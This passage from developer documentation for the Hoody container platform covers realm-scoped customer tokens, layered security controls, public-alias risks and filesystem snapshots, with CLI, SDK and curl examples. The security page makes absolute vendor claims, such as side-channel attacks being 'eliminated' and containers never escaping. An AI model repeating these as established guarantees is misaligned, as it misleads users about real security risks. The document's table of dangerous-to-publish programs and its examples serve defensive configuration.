    // The token value is returned ONCE, at creation.
    // List & get endpoints never return it again — store it now.
    const customerToken = created.data!.token;

    // Hand the customer: token + https://507f1f77bcf86cd799439011.api.hoody.icu
    ```
  
  
    ```typescript
    // Your customer -- using the token you issued
    const acme = new HoodyClient({
      baseURL: 'https://507f1f77bcf86cd799439011.api.hoody.icu',
      token: 'hdy_tokenYouGaveThem...',
    });

    // They see only their containers (the ones you assigned to their realm)
    const { data } = await acme.api.containers.list();
    const containerId = data.containers![0]!.id;

    // Scope to a container, then run commands, read files, drive browsers
    const box = await acme.withContainer(containerId);
    await box.terminal.execution.execute({ command: 'deploy.sh' });
    const logs = await box.files.get('/var/log/deploy.log', { responseType: 'text' });

    // They cannot see your other customers, your billing,
    // or anything outside their realm. Not "access denied" --
    // those resources do not exist in their API.
    ```
  
  
    ```bash
    # Provider: log in first to get a JWT (auth tokens cannot mint tokens)
    JWT=$(curl -s -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
      -H "Content-Type: application/json" \
      -d "{\"username\": \"$PROVIDER_EMAIL\", \"password\": \"$PROVIDER_PASSWORD\"}" \
      | jq -r .data.token)

    # Provider: pre-create a realm-scoped project (external_customer cannot)
    curl -X POST "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $JWT" \
      -H "Content-Type: application/json" \
      -d '{"alias": "acme-workspace", "realm_ids": ["507f1f77bcf86cd799439011"]}'

    # Provider: create the customer token (returns the secret ONCE)
    curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $JWT" \
      -H "Content-Type: application/json" \
      -d '{
        "alias": "Customer: Acme Corp",
        "permission_template": "external_customer",
        "realm_ids": ["507f1f77bcf86cd799439011"],
        "allow_no_realm": false,
        "ip_whitelist": ["203.0.113.0/24"],
        "expires_at": "2026-12-31T00:00:00Z"
      }'

    # Customer: use their scoped API
    curl "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer hdy_customerToken..."
    ```
  


**What each customer gets (without you building it):**

| Capability | How it works |
|---|---|
| Isolated containers | Realm filtering -- only their resources exist |
| Terminal access | `box.terminal.*` -- run commands, stream output |
| File management | `box.files.*` -- CRUD, glob, grep, archives |
| Browser automation | `box.browser.*` -- headless Chromium, screenshots |
| GUI app streaming | `box.display.*` -- X11 display in a URL |
| Scheduled tasks | `box.cron.*` -- crontab via REST |
| Database access | `box.sqlite.*` -- SQL queries, key-value store |
| AI agent | `box.agent.*` -- sessions, prompts, memory |
| Notifications | `box.notifications.*` -- push to desktop/mobile |

**What you control:**

- **Permissions** -- `external_customer` blocks billing, AI, server management *and `projects.create`* by default (so you must pre-create projects in the realm). Use `dev_team`, `read_only`, or fully custom permissions for finer control.
- **IP allowlists** -- lock tokens to customer IP ranges
- **Expiration** -- auto-revoke after a date
- **Enable/disable** -- suspend access instantly without deleting the token
- **Public profiles** -- attach metadata (company name, tier, display info) to tokens via `public_storage`. Requires a `public_key` (ED25519, 64 hex chars) -- can be set at creation or later via `PUT /auth/tokens/me/public-profile`. `public_storage` without a `public_key` is rejected.

Scale to ten customers or ten thousand. Each gets their own realm-scoped endpoint, their own token, their own universe. You manage it all through the same SDK.


Think of it this way: you are not giving customers access to *your* Hoody account. You are giving each customer their own Hoody API that happens to be backed by your infrastructure. Realms make this possible without any multi-tenancy code on your side.


---

## Recommended Structure

1. **Use projects for application boundaries** -- `frontend`, `backend`, `ops`, `ml-pipeline`
2. **Use realms for environment and tenant isolation** -- `production`, `staging`, per-client realms
3. **Issue separate auth tokens per realm and per application** -- easier auditing, easier revocation
4. **Use the bootstrap endpoint** (`GET /api/v1/auth/tokens/me`) in SDK and automation startup flows to self-configure realm hosts

---

## Discovering Your Realms


  
    ```bash
    # List all realm IDs across your resources
    hoody realms list
    ```
  
  
    ```typescript
    // List realm IDs found across your resources
    const realms = await client.api.realms.list();
    console.log(realms.data);
    // ['507f1f77bcf86cd799439011', '60d5f1f3a3b4f9c3e8a1b2c3', ...]
    ```
  
  
    ```bash
    # Deduplicated list of realm IDs from your resources
    curl "https://api.hoody.icu/api/v1/realms" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

> **Projects organize. Realms isolate.**
> **One gives you clarity. The other gives you walls.**
> **Together, they give you multi-tenancy that does not require a 47-page IAM policy to understand.**

---

# Security & Permissions

**Page:** concepts/security

[Download Raw Markdown](./concepts/security.md)

---

# Security & Permissions

**Legacy security is a losing game.** A dozen protocols, each with its own authentication model, its own encryption scheme, its own vulnerability surface. SSH keys scattered across machines. VPN configs shared over Slack. Database passwords in environment variables. Every protocol is a door. Every door is an attack vector.

Hoody collapses this entire surface to one protocol (HTTPS with HTTP/2 and HTTP/3), one gateway ([the proxy](/concepts/proxy/)), and one enforcement point. You do not secure 18 different services. You secure one proxy. You do not manage 6 different authentication mechanisms. You configure one permission layer. You never configure a certificate — every URL is HTTPS automatically, forever.

This is not a startup that bolted on security after the fact. Hoody has years of privacy-first engineering behind it — built by a team obsessed with the idea that your infrastructure should be *yours*, running on servers you own, with isolation guarantees that extend to every process, every container, every byte.

**Open by default. Bulletproof when ready.**

---

## Layer 1: Cryptographic URL Unguessability

The first layer of security is not a password. It is not a token. It is mathematics.

Every container ID is 24 hexadecimal characters. That is 96 bits of entropy -- the same keyspace as a strong encryption key.

```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-terminal-1.node-us.containers.hoody.icu
                                └──────────┬──────────┘
                                   24 hex chars = 2^96
```

**The math:**
- 2^96 = 79,228,162,514,264,337,593,543,950,336 possible container IDs
- At 1 billion guesses per second: **2.5 × 10^12 years** to enumerate
- The universe is 1.38 × 10^10 years old
- You would need to brute-force for **~180 times the age of the universe**

Container URLs cannot be scanned, cannot be enumerated, and cannot be guessed. There is no directory listing. There is no discovery endpoint. If you do not know the URL, the resource does not exist for you.

This is why "open by default" is not reckless. The URL IS the secret. Sharing the URL IS granting access. Not sharing it IS denying access. The security model starts at the URL, before any authentication layer even runs.


Wildcard TLS certificates (`*.containers.hoody.icu`) mean your specific container URLs never appear in Certificate Transparency logs. No one can discover your container addresses by scanning public certificate databases.


---

## Layer 2: Container Isolation

Every container is a sealed boundary. Not a suggestion. Not a convention. A kernel-enforced perimeter.

### Filesystem Isolation

Each container has its own root filesystem. No shared volumes by default. Container A cannot read Container B's `/etc/passwd`, cannot write to Container B's `/home`, cannot even know Container B exists on the same server.

### Network Isolation

Each container has its own network namespace, its own IP address, its own routing table. Containers do not share a network bridge. They communicate through the proxy via HTTP, the same way any two machines on the internet communicate. No internal network to eavesdrop on.

### Process Isolation

PID namespaces ensure that each container sees only its own processes. A compromised container cannot enumerate, signal, or attach to processes in any other container.

### What Enforces This

This is not application-level sandboxing. This is kernel-level enforcement:

| Technology | What It Does |
| :--- | :--- |
| **Linux namespaces** | Isolate PIDs, network, mounts, users, IPC |
| **seccomp filters** | Restrict available syscalls -- containers cannot call dangerous kernel functions |
| **Hardened kernel** | A custom hardened Hoody kernel -- patched and locked-down with reduced attack surface |
| **Hardened LXC** | Container runtime on the Hoody kernel, with optional dedicated VM instances for full kernel isolation |
| **No shared kernel memory** | Containers cannot read each other's RAM |

A compromised container stays compromised. It does not spread. It does not escalate. It does not escape. Delete it, snapshot a clean one, and move on.

---

## Layer 3: Bare Metal Ownership

Most cloud platforms run your workloads on shared hardware. Your containers share a hypervisor with strangers' containers. Your memory shares physical DIMMs with unknown processes.

This is not hypothetical risk. Spectre, Meltdown, and their variants demonstrated that CPU-level side-channel attacks can leak data across hypervisor boundaries. When you share hardware, you share risk.

**Hoody containers run on YOUR bare metal servers.** You rent or own the physical machine. No other customer has containers on your server. No shared hypervisor. No neighbor you cannot audit. No "noisy neighbor" performance problems.

The security implications:

- **Side-channel attacks eliminated.** No shared CPU cache to exploit. No shared memory bus to sniff.
- **No hypervisor escape risk.** There is no hypervisor to escape from. Your containers run on bare Linux.
- **Physical control.** Your server, your disk encryption keys, your network configuration.
- **Performance predictability.** Every CPU cycle, every memory byte, every disk IOPS is yours. No random slowdowns from strangers' workloads.


  
    ```bash
    # List your servers -- these are YOUR bare metal machines
    hoody servers list

    # Each server runs its own proxy, its own containers
    # No shared infrastructure with other customers
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Your servers are your infrastructure
    const servers = await client.api.serverRental.list();

    // Each server: your hardware, your containers, your proxy
    // Disk encryption (LUKS AES-256) on your metal
    // No shared hypervisor, no shared kernel with strangers
    ```
  
  
    ```bash
    # Your servers
    curl "https://api.hoody.icu/api/v1/servers" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Each server response includes:
    # - server_name (your proxy address)
    # - container count (all yours)
    # - disk encryption status
    ```
  


---

## Layer 4: Permission System

When URL unguessability is not enough -- when you need explicit authentication -- the proxy provides a multi-layered permission system.

### Authentication Methods

| Method | Mechanism | Use Case |
| :--- | :--- | :--- |
| **Password** | HTTP Basic Auth | Quick protection for internal tools, demos |
| **JWT** | Token with claims validation | API consumers, AI agents, service-to-service |
| **IP whitelist** | Allow by IP address or CIDR range | Office networks, known servers, CI/CD runners |
| **Bearer token** | Custom token in `Authorization` header | Machine-to-machine, webhook endpoints |

### Two Levels of Scope

**Project-level permissions** apply to every container in the project:

```
Project "production" → deny all by default
  └─ Group "devops": IP 203.0.113.0/24 → allow terminal, files, display
  └─ Group "monitoring": Bearer token → allow http (read-only)
```

**Container-level permissions** override project settings for specific containers:

```
Container "public-api" → override project permissions
  └─ Group "world": IP 0.0.0.0/0 → allow http only
  └─ Group "operators": JWT → allow everything
```

### Service-Level Granularity

Permissions are not all-or-nothing. Each authentication group gets fine-grained access per service:


  
    ```bash
    # Set container-level proxy permissions
    hoody containers proxy permissions replace -c $CONTAINER_ID \
      --project $PROJECT_ID \
      --groups internal='{"type":"ip","range":"10.0.0.0/8"}' \
      --permissions internal='{"terminal":true,"files":true,"display":false,"sqlite":false}' \
      --default deny
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Granular permissions per service
    await client.api.proxyPermissionsContainer.replace(containerId, {
      project: PROJECT_ID,
      container: containerId,
      groups: {
        humans: { type: 'password', password: 'secure-pass' },
        agents: { type: 'token', value: 'agent-secret-token' }
      },
      permissions: {
        humans: { terminal: true, files: true, display: false, sqlite: false },
        agents: { terminal: true, files: true, exec: true, sqlite: true, browser: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # Production lockdown: only HTTP traffic from known IPs
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "groups": {
          "load_balancer": {
            "type": "ip",
            "range": "10.0.0.0/8"
          },
          "operators": {
            "type": "jwt",
            "secret": "your-jwt-secret",
            "algorithm": "HS256"
          }
        },
        "permissions": {
          "load_balancer": {
            "http": true
          },
          "operators": {
            "terminal": true,
            "files": true,
            "display": true,
            "sqlite": true,
            "exec": true
          }
        },
        "default": "deny"
      }'
    ```
  


---

## Layer 5: Container Firewalls

Beyond the proxy permission layer, each container has host-level firewall rules that control network traffic at the packet level.

These rules are configured on the HOST, not inside the container. A compromised container cannot modify its own firewall rules. This is not iptables inside a container -- this is iptables on the bare metal, scoped to the container's network namespace.

| Rule Type | What It Controls |
| :--- | :--- |
| **Ingress** | Which IPs/ports can reach the container |
| **Egress** | Which IPs/ports the container can reach |
| **Protocol** | TCP, UDP, ICMP filtering |
| **Default stance** | Default-deny: only explicitly allowed traffic passes |

Additionally, you can install iptables, nftables, or ufw INSIDE the container for defense-in-depth. Two independent layers of network control.

---

## Layer 6: Controlled Network Exit

By default, containers have **no IPv4 address**. All outbound traffic routes through the Hoody Proxy or configured network exits. This prevents containers from making arbitrary connections to the internet.

When a container needs internet access, you configure the exit path at the HOST level (not tamperable by the container):

- **SOCKS5/HTTP/HTTPS proxies** as exit nodes
- **WireGuard VPN** integration
- **Commercial VPN providers** (Mullvad, iVPN, AirVPN) with zero in-container config
- **Block mode** to prevent ALL outgoing traffic
- **Custom DNS servers** (up to 4)

A compromised container that tries to phone home is stopped at the network boundary. It cannot add exit routes. It cannot change DNS. It cannot bypass the configured egress path.

---

## Layer 7: Disk Encryption

Every server supports LUKS disk encryption (AES-256) at rest. Encrypted swap. Encrypted temporary files. The physical disk is unreadable without the encryption key, even if the hardware is physically stolen.

---

## Layer 8: Realms

[Realms](/foundation/hoody-api/realms/) provide API-level isolation. Different realms are different universes:

```
https://realm-a.api.hoody.icu  →  sees only Realm A's containers
https://realm-b.api.hoody.icu  →  sees only Realm B's containers
```

Auth tokens scope to specific realms. AI agents in one realm cannot discover, enumerate, or access containers in another realm. This is multi-tenant isolation at the API level -- not just network segmentation.

---

## Public Exposure: Choose Carefully What You Alias

[Proxy aliases](/foundation/proxy/aliases/) are the bridge from cryptographic URLs to clean, brandable domains. They are also the moment your security model changes.

The cryptographic URL **is** the secret (Layer 1). The container ID inside it carries 96 bits of entropy and is never meant to be shared verbatim. An alias hides that ID behind a memorable name — that is its job. But hiding the ID is not the same as hiding the surface behind it.

**Two failure modes follow you across the alias:**

1. **Metadata leakage.** Some programs embed the underlying container ID, internal paths, hostnames, or environment details into HTML, response headers, error pages, or websocket handshakes. The alias hides nothing if the response body says `container_id: 890abcdef…`.
2. **Surface exposure.** The alias still routes to a specific [program](/kit/). Some programs are user-written code (your problem). Others are privileged control planes that *are* the dangerous action — terminal is a shell, files is a filesystem, sqlite is a database, agent orchestrates everything else.

### Safe to Alias for Public Diffusion

These programs expose HTTP-shaped surfaces that you control. Aliasing them for public sharing, business cards, embedded docs, or customer-facing URLs is the intended use case:

| Program | Why it is safe to publish |
| :--- | :--- |
| **`http`** | Your web server / API. The auth and authorization are *your* application logic — you decide what is exposed. |
| **`exec`** ([hoody-exec](/kit/exec/)) | Scripts you wrote with explicit handlers and routes. Behaves like any HTTP framework. |
| **`pipe`** ([hoody-pipe](/kit/pipe/)) | A streaming HTTP relay (POST/PUT to send, GET to receive — each path is one-directional, no on-disk state) with permission gating at the proxy. The wire protocol is the only surface. |
| **`tunnel`** ([hoody-tunnel](/kit/tunnel/)) | HTTP-only forwarding of a local service through the proxy. Auth runs at the proxy boundary. |

These four are the **public diffusion set**. They expose HTTP semantics — nothing more — and rely on you to decide what the application returns. Combine them with [proxy permissions](/foundation/proxy/permissions/) and you have a clean, professional URL backed by real authentication.

### Do Not Alias for Public Diffusion

Every other Hoody Kit program is an operator surface. Aliasing them is fine for *internal* use behind IP whitelists or strong auth, but **never** publish those aliases the way you would publish an API URL:

| Program | Why publishing the alias is dangerous |
| :--- | :--- |
| **`terminal`** | The alias becomes a published shell endpoint. One credential away from arbitrary command execution. |
| **`files`** | Filesystem browser. Listings, downloads, and uploads against the container's root. Path leakage is the default behavior. |
| **`sqlite`** | Live database UI and SQL API. Schema, secrets, and writes — all over HTTP. |
| **`display`** | Remote desktop with keyboard, mouse, and screenshots. Hijacking it hijacks the running session. |
| **`code`** | Full editor with filesystem access. Extensions can execute code. Reads keys and configs. |
| **`browser`** | Headless Chrome with JavaScript evaluation. Cookies, automation, and credential interception live here. |
| **`agent`** | The AI agent orchestrates every other service in the container. Compromising the alias compromises everything below it. |
| **`cron`**, **`daemons`** | Scheduled jobs and process control. Inject a job, gain persistent execution. |
| **`curl`** | HTTP request wrapper. Aliased and exposed, it becomes an open SSRF gateway with your IP and your secrets. |
| **`ssh`** | SSH over the proxy. Same risk class as terminal. |

For these, **prefer the cryptographic URL.** The 2^96 keyspace is your authentication of last resort, and the URL is trivially rotated by deleting the program and re-creating it.


**An alias does not replace permissions.** If you must alias a privileged program (e.g. an internal operations terminal at `ops-shell.node-us.containers.hoody.icu`), treat the alias name as public information and configure [proxy permissions](/foundation/proxy/permissions/) accordingly: IP whitelist, JWT or password, default-deny. Set `expires_at` so forgotten aliases do not outlive their need.


### Hardening an Alias You Decide to Publish

For the safe set (`http`, `exec`, `pipe`, `tunnel`), publishing the alias is the goal. A few guardrails make it more durable:

- **Use unique, non-generic names.** `acme-billing-api` is not enumerable; `api`, `app`, `prod` are. Generic names also collide globally per server.
- **Restrict to an explicit base path.** `target_path: "/api/v1"` with `allow_path_override: false` exposes only your public routes, even if other handlers exist in the same container.
- **Apply permissions to the underlying container.** Permissions follow the container, not the URL — both the alias and the cryptographic URL inherit them. There is no way to "lock down only the alias."
- **Watch Certificate Transparency for custom domains.** Default container subdomains are covered by a wildcard cert and never appear in CT logs. The moment you CNAME `api.mycompany.com` to your alias, that hostname **does** show up in public CT logs. This is fine for intentional production exposure — just know that custom-domain hostnames are publicly enumerable in a way that `*.containers.hoody.icu` URLs are not.
- **Delete aliases before deleting containers.** Orphaned aliases keep responding (with errors), and stale alias names are an attractive target if reassigned later.

### The Rule of Thumb

> The container ID is a secret. The alias is a label.  
> Publish the label only for programs whose **surface** you would also publish.  
> For everything else, the cryptographic URL is the right address.

---

## Security in the AI Era

Here is why this matters more than ever: **AI generates code you cannot fully review.**

When a human writes code, you can read it. When an LLM generates 10,000 lines in response to a prompt, you cannot. Not meaningfully. Not every line. Not every import. Not every network call.

This is not a failure of discipline. It is a consequence of scale. AI-generated code will have bugs, will have vulnerabilities, will make network calls you did not anticipate. This is not speculation -- it is the current reality.

Hoody's security model is designed for this reality:

- **Container isolation means a rogue AI-generated process cannot escape.** It runs in a container. It cannot read other containers' filesystems. It cannot signal other containers' processes. It cannot access the host.

- **Snapshot before AI makes changes.** If the AI breaks something, restore in seconds. Not hours of debugging. Not `git bisect`. Instant time travel.

- **Network control means the AI's code cannot phone home.** No IPv4 by default. Configured exit paths. Host-level firewall rules. A container running AI-generated code that tries to exfiltrate data hits a wall it cannot modify.

- **HTTP observability means you can watch everything.** Every HTTP call the AI's code makes flows through the proxy. Log it. Inspect it. Rate-limit it. Intercept it with [hoody-exec](/kit/exec/) for real-time analysis.


Security is never absolute. Container isolation mitigates lateral movement but does not prevent application-level vulnerabilities within a container. Supply chain attacks (compromised npm packages, malicious Docker images) remain an industry-wide challenge. Hoody provides containment and rapid recovery, not prevention of all possible attacks.


---

## The Security Pyramid

From bottom to top, each layer narrows the attack surface:

```
┌─────────────────────────┐
│   Application Security  │  Your responsibility (input validation, auth logic)
├─────────────────────────┤
│   Proxy Permissions     │  JWT, password, IP, token per service
├─────────────────────────┤
│   Container Firewall    │  Host-level ingress/egress rules
├─────────────────────────┤
│   Network Control       │  No IPv4 default, controlled exit paths
├─────────────────────────┤
│   Container Isolation   │  Namespaces, seccomp, hardened kernel
├─────────────────────────┤
│   Bare Metal Ownership  │  Your hardware, no shared hypervisor
├─────────────────────────┤
│   Disk Encryption       │  LUKS AES-256 at rest
├─────────────────────────┤
│   Realm Isolation       │  API-level multi-tenancy
├─────────────────────────┤
│   URL Unguessability    │  2^96 keyspace, no enumeration
└─────────────────────────┘
```

Each layer is independent. A failure in one layer does not compromise the others. URL unguessability provides passive security even with no permissions configured. Container isolation contains breaches even if the application is compromised. Bare metal ownership eliminates entire classes of attacks even if a container is fully taken over.

---

## Practical Security Postures

### Development: Open by Default

```
Permissions: None configured
URL security: Cryptographic (2^96)
Firewall: Default allow
Network: Proxied exit

Who can access: Only people who have the URL
```

Perfect for development, experimentation, and internal tools. The URL is the password.

### Staging: IP-Restricted

```
Permissions: IP whitelist for office/VPN
URL security: Cryptographic + IP check
Firewall: Allow from known IPs
Network: Proxied exit
```

Adds a second factor: even with the URL, you must be on the right network.

### Production: Full Lockdown

```
Permissions: JWT for API, password for operators, IP for infra
URL security: Cryptographic + auth required
Firewall: Default deny, explicit allow
Network: No IPv4, controlled exit
Snapshots: Hourly automated
```

Belt, suspenders, and a safety net. Every layer active.


  
    ```bash
    # Disable proxy for maintenance (503 all requests)
    hoody containers proxy state -c $CONTAINER_ID

    # Re-enable when ready
    hoody containers proxy state -c $CONTAINER_ID --enable-proxy
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Emergency lockdown: disable all proxy access
    await client.api.proxyPermissionsContainer.updateState(containerId, {
      enable_proxy: false
    });
    // All URLs now return 503 -- container keeps running internally

    // Re-enable when investigation is complete
    await client.api.proxyPermissionsContainer.updateState(containerId, {
      enable_proxy: true
    });
    ```
  
  
    ```bash
    # Emergency lockdown
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions/state" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"enable_proxy": false}'

    # Container is alive but unreachable via proxy
    # Re-enable when investigation is complete
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions/state" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"enable_proxy": true}'
    ```
  


---

**Open by default, bulletproof when ready.** Not because we are careless with defaults. Because the defaults are already cryptographically secure, and every additional layer is there when you need it.

---

**Next:** [Snapshots](/concepts/snapshots/) -- time travel as a security tool.

---

# Snapshots

**Page:** concepts/snapshots

[Download Raw Markdown](./concepts/snapshots.md)

---

# Snapshots

**Git gave version control to code. Hoody gives version control to entire computers.**

A snapshot captures the entire filesystem: every file, every database row, every config, every log, every installed package, every environment file. Not a backup. Not a diff. The entire disk state of a computer, frozen at a moment in time, restorable in seconds.

You do not need to decide what to back up. You do not need to write migration scripts. You do not need to remember what changed. You press a button (or make one API call) and the entire machine is preserved. Press another button and it returns to exactly that state.

This is not an incremental improvement on backups. This is time travel.

---

## What a Snapshot Captures

Every snapshot records the complete filesystem state of a container:

| Component | Captured | What It Means |
| :--- | :--- | :--- |
| **Filesystem** | Every file, every directory, every permission bit | All code, configs, logs, data -- exactly as they were |
| **Databases** | All data, all tables, all indexes | SQLite files, PostgreSQL data directories -- byte-identical on disk |
| **Installed software** | Every apt package, every npm module, every binary | No reinstallation, no version mismatches |
| **Environment** | Environment files, shell configs, crontabs | The on-disk runtime context is preserved |
| **Network config** | DNS settings, routing table, proxy configuration | On-disk network configuration is identical after restore |

**If it is written to disk in the container, the snapshot captures it.**


Hoody snapshots are **filesystem snapshots** -- they capture the entire disk state, not live process memory. After a restore, the container boots from the captured filesystem: every file, package, and database is exactly as it was, and services start fresh from that disk state. Snapshots are always stateless (the `stateful` field in the API is always `false`), and that is what makes them fast, tiny, and reliable.


---

## How Snapshots Work

Hoody uses **Copy-on-Write (CoW)** at the filesystem level. When you create a snapshot, Hoody does not copy the entire disk. It marks the current filesystem state as immutable and begins tracking changes. Only new or modified blocks are stored separately.

This means:

- **Instant creation.** A snapshot takes 1-5 seconds regardless of container size. No copying. No compression. No waiting.
- **Minimal storage.** The first snapshot references the existing filesystem. Subsequent snapshots store only the delta. Ten snapshots of a 50GB container do not cost 500GB -- they cost 50GB plus the changes.
- **Unlimited snapshots.** The overhead per snapshot is so small that you can snapshot every hour, every commit, every deployment, every experiment -- without worrying about storage.
- **Fast restoration.** Restoring a snapshot swaps the filesystem reference. The container returns to the captured state in 5-15 seconds.

```
Snapshot 1 (baseline)    ──→ Full filesystem reference
Snapshot 2 (after AI)    ──→ Delta: 47 files changed
Snapshot 3 (after deploy)──→ Delta: 12 files changed
Snapshot 4 (new feature) ──→ Delta: 89 files changed

Total storage: baseline + 148 files of changes
NOT: 4 full copies of the filesystem
```

---

## The Safety Net for AI

This is the use case that defines the era: **AI generates code you cannot fully review.**

An LLM rewrites your authentication module. Looks correct at a glance. Passes the tests you thought to write. But there is a subtle change in how sessions are invalidated that you would never catch in a code review. Three days later, you notice stale sessions. Two days after that, you trace it to the AI's rewrite. A week of development built on top of the bug.

Without snapshots: painful archaeological debugging.

With snapshots: restore to `before-ai-auth-rewrite`, compare the two states, fix the specific issue, move on.


  
    ```bash
    # Before letting AI touch your code
    hoody snapshots create -c $CONTAINER_ID \
      --alias "before-ai-refactor"

    # AI does its thing...
    # Something breaks? Restore in seconds
    hoody snapshots restore -c $CONTAINER_ID --name "snap-20260304-103000"

    # Back to exactly where you were
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Snapshot before AI makes changes
    const snapshot = await client.api.containers.createSnapshot(containerId, {
      alias: 'before-ai-refactor'
    });

    // Let AI work...
    // If it breaks things:
    await client.api.containers.restoreSnapshot(
      containerId,
      snapshot.data.snapshot.name
    );
    // Container is exactly as it was before the AI touched it
    ```
  
  
    ```bash
    # Snapshot before AI changes
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "before-ai-refactor"}'

    # AI makes changes...

    # Something broke? Restore
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20260304-103000" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 5-15 seconds later: everything is exactly as it was
    ```
  


**Snapshot before every AI interaction. It costs seconds and saves hours.**

---

## Branching: Git for Infrastructure

Git lets you branch code to experiment without risking the main branch. Snapshots let you branch entire computers.

```
Main state (snapshot: "production-stable")
    │
    ├──→ Experiment A: try new database schema
    │       Result: works! Create snapshot "with-new-schema"
    │
    ├──→ Experiment B: try different AI model
    │       Result: failed. Restore to "production-stable"
    │
    └──→ Experiment C: try new auth system
            Result: promising. Create snapshot "auth-v2-wip"
```

Same container, multiple timelines. No cloning. No provisioning. No waiting. You are not creating new machines -- you are bookmarking moments in the same machine's history and jumping between them.


  
    ```bash
    # Bookmark the current state
    hoody snapshots create -c $CONTAINER_ID --alias "main-branch"

    # Experiment: try a risky database migration
    hoody terminal sessions exec \
      --command "python3 migrate.py --destructive" \
      -c $CONTAINER_ID

    # Did it work?
    # YES: bookmark the result
    hoody snapshots create -c $CONTAINER_ID --alias "after-migration"

    # NO: restore and try something else
    hoody snapshots restore -c $CONTAINER_ID --name "main-branch"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Save current state
    await client.api.containers.createSnapshot(id, {
      alias: 'main-branch'
    });

    // Try experiment...

    // Worked? Save the result
    await client.api.containers.createSnapshot(id, {
      alias: 'experiment-success'
    });

    // Failed? Restore
    await client.api.containers.restoreSnapshot(id, 'main-branch');
    ```
  
  
    ```bash
    # Create a branch point
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "main-branch"}'

    # Experiment...

    # Branch back to main
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/main-branch" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

## Deployment Safety

Production deployments without rollback are gambling. Snapshots turn deployments into reversible operations.

```
1. Snapshot:  POST /api/v1/containers/{prod}/snapshots
              {"alias": "pre-deploy-v2.1.0", "expiry": 30}

2. Deploy:    Execute your deployment scripts

3. Verify:    Health checks, smoke tests, monitoring

4. Success:   Delete the snapshot after 30 days (or let it expire)

5. Failure:   PATCH /api/v1/containers/{prod}/snapshots/pre-deploy-v2.1.0
              Production restored in 15 seconds
```

Not "rollback the code and re-run migrations and hope the data is consistent." Rollback EVERYTHING -- code, config, data, installed packages, the entire disk state -- in one API call.


  
    ```bash
    # Before deployment
    hoody snapshots create -c $PROD_CONTAINER \
      --alias "pre-deploy-v2.1.0" \
      --expiry 30

    # Deploy
    hoody terminal sessions exec \
      --command "./deploy.sh v2.1.0" \
      -c $PROD_CONTAINER

    # Verify
    hoody terminal sessions exec \
      --command "curl -s localhost:3000/health | jq .status" \
      -c $PROD_CONTAINER

    # If failed: instant rollback
    hoody snapshots restore -c $PROD_CONTAINER --name "pre-deploy-v2.1.0"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    async function deployWithRollback(containerId: string, version: string) {
      const containerClient = await client.withContainer({
        id: containerId,
        project_id: PROJECT_ID,
        server: SERVER_NAME
      });

      // 1. Pre-deploy snapshot
      const snap = await client.api.containers.createSnapshot(containerId, {
        alias: `pre-deploy-${version}`,
        expiry: 30
      });

      // 2. Deploy
      await containerClient.terminal.execution.execute({
        command: `./deploy.sh ${version}`,
        wait: true
      });

      // 3. Health check
      const health = await fetch(
        `https://${PROJECT_ID}-${containerId}-http-3000.${SERVER_NAME}.containers.hoody.icu/health`
      );

      if (!health.ok) {
        // 4. Rollback
        await client.api.containers.restoreSnapshot(
          containerId,
          snap.data.snapshot.name
        );
        throw new Error(`Deploy ${version} failed, rolled back`);
      }
    }
    ```
  
  
    ```bash
    # Complete deployment with rollback safety

    # 1. Pre-deploy snapshot
    SNAP=$(curl -s -X POST "https://api.hoody.icu/api/v1/containers/$PROD/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "pre-deploy-v2.1.0", "expiry": 30}' \
      | jq -r '.data.snapshot.name')

    # 2. Deploy
    curl -X POST "https://$PROJECT-$PROD-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute" \
